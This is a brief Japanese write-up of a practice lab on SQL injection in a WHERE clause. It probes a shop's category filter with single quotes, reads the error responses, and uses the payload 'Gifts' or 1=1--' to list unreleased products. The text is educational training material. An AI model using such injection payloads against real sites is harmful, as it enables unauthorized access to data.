SQL injection 6 / 51 LAB1

WHERE 句を使った SQL インジェクション

Gifts カテゴリーを選択=全3商品

この時のSQLクエリは次の通り。

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

シングルクォート1つ追加

GET /filter?category=Gifts%27
(今回の例ではURLエンコードしない Gifts' でも同様の結果となった)

HTTP/2 500 Internal Server Error

シングルクォート2つ

GET /filter?category=Gifts%27%27

HTTP/2 200 OK
~省略~
<h1>Gifts&apos;&apos;</h1>

シングルクォート3つ

GET /filter?category=Gifts%27%27%27

HTTP/2 500 Internal Server Error

上記の挙動から``` = シングルクォートがSQL構文として有効に解釈されていると推測される。
よって次の入力を試す。

GET /filter?category=Gifts%27+or+1=1--

このときのSQLクエリは下記となる。

SELECT * FROM products WHERE category = 'Gifts' or 1=1--' AND released = 1

結果、未リリースの商品(released = 1 以外)を含めた全カテゴリーの商品が表示される。

/* -----codeの行番号----- */